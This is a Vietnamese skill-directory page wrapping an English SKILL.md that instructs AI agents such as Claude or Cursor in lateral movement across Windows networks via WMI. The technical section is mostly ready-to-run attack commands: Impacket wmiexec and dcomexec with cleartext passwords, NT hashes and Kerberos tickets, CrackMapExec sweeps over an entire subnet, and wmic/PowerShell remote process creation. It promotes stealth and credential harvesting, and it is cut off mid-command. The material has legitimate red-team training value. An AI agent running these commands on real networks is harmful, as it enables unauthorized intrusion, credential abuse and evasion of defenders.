performing-lateral-movement-with-wmiexec
Skill này làm gì
Công cụ này cho phép bạn chạy lệnh trên các máy tính khác trong mạng bằng WMI, cách Windows quản lý từ xa. Nó hữu ích để kiểm tra bảo mật mạng.
Khi nào nên dùng
- ✓Khi kiểm thử bảo mật mạng có sự cho phép.
- ✓Khi cần kiểm tra xem các biện pháp phòng thủ có hoạt động không.
- ✓Khi điều tra một sự cố bảo mật.
Liên kết skill
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-lateral-movement-with-wmiexec/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chạy lệnh “ipconfig” trên máy tính 10.10.10.50 bằng thông tin đăng nhập quản trị viên.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Công cụ dùng một tính năng của Windows là WMI để gửi lệnh đến các máy tính khác. Thay vì cài thêm phần mềm mới, nó dùng các lệnh Windows sẵn có, nên khó bị phát hiện hơn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Performing Lateral Movement with WMIExec
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.
When to Use
- When conducting security assessments that involve performing lateral movement with wmiexec
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Execute remote commands on Windows targets using WMI-based techniques
- Establish semi-interactive shells via Impacket wmiexec.py
- Perform lateral movement with Pass-the-Hash using WMI
- Use CrackMapExec for multi-target WMI command execution
- Execute native PowerShell WMI commands for fileless lateral movement
- Chain WMI with credential harvesting for network-wide access
MITRE ATT&CK Mapping
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
Workflow
Phase 1: WMIExec with Impacket
- Execute a semi-interactive shell with credentials:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50 # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - Execute commands without output file (stealthier using DCOM):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
Phase 2: CrackMapExec Multi-Target Execution
- Execute commands across multiple targets:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
Phase 3: Native WMI Commands (Windows)
- Execute remote commands using built-in Windows WMI tools:
# Using wmic.exe (deprecated but still available) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Using PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Using CIM sessions (modern replacement for WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
…
Câu hỏi thường gặp
WMI là gì?
WMI là viết tắt của Windows Management Instrumentation. Đây là công cụ mà quản trị viên hệ thống dùng để quản lý máy tính Windows từ xa.
Vì sao dùng WMI để di chuyển nội bộ?
Vì WMI đã có sẵn trong Windows và không cần cài thêm dịch vụ mới, nên kín đáo hơn và ít kích hoạt cảnh báo bảo mật.
“Lateral movement” là gì?
Đây là thuật ngữ bảo mật chỉ việc kẻ tấn công di chuyển từ một máy tính sang máy khác trong cùng mạng, sau khi đã chiếm được một máy.
Chi tiết
Mô tả gốc của tác giả
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
Độ phổ biến
- Sao GitHub
- 35k
- Vị trí xếp hạng
- #8256
- Giấy phép
- Apache-2.0
- Cập nhật
- 31/8/2026
Bình luận
- …
Thêm skill từ kho mã này
abusing-dpapi-for-credential-access
35kCung cấp cho agent AI của bạn hướng dẫn có sẵn cho một tác vụ cụ thể, giúp nó làm việc tốt hơn và nhanh hơn.
abusing-shadow-credentials-for-privesc
35kDạy agent AI của bạn viết văn bản rõ ràng và có cấu trúc tốt.
achieving-cmmc-level-2-compliance
35kGiúp agent của bạn chuẩn bị môi trường để tuân thủ CMMC Level 2. Triển khai các yêu cầu bảo mật và quản lý tài liệu cần thiết.
acquiring-disk-image-with-dd-and-dcfldd
35kGiúp agent của bạn tạo bản sao chính xác của ổ đĩa. Cách này đảm bảo không mất hay thay đổi thông tin trong quá trình điều tra.
Skill tương tự
diffs
394kGiúp agent của bạn tạo một diff có thể chia sẻ về các chỉnh sửa, dưới dạng liên kết xem hoặc file ảnh, thay vì một bản tóm tắt viết tay.
coding-agent
394kGiúp agent của bạn giao một việc lập trình lớn cho Codex, Claude Code hoặc OpenCode chạy nền, rồi theo dõi tiến độ của nó.
gh-issues
394kGiúp agent của bạn tìm issue trên GitHub, chọn những issue cần xử lý và mở pull request với bản sửa, kể cả theo dõi nhận xét đánh giá.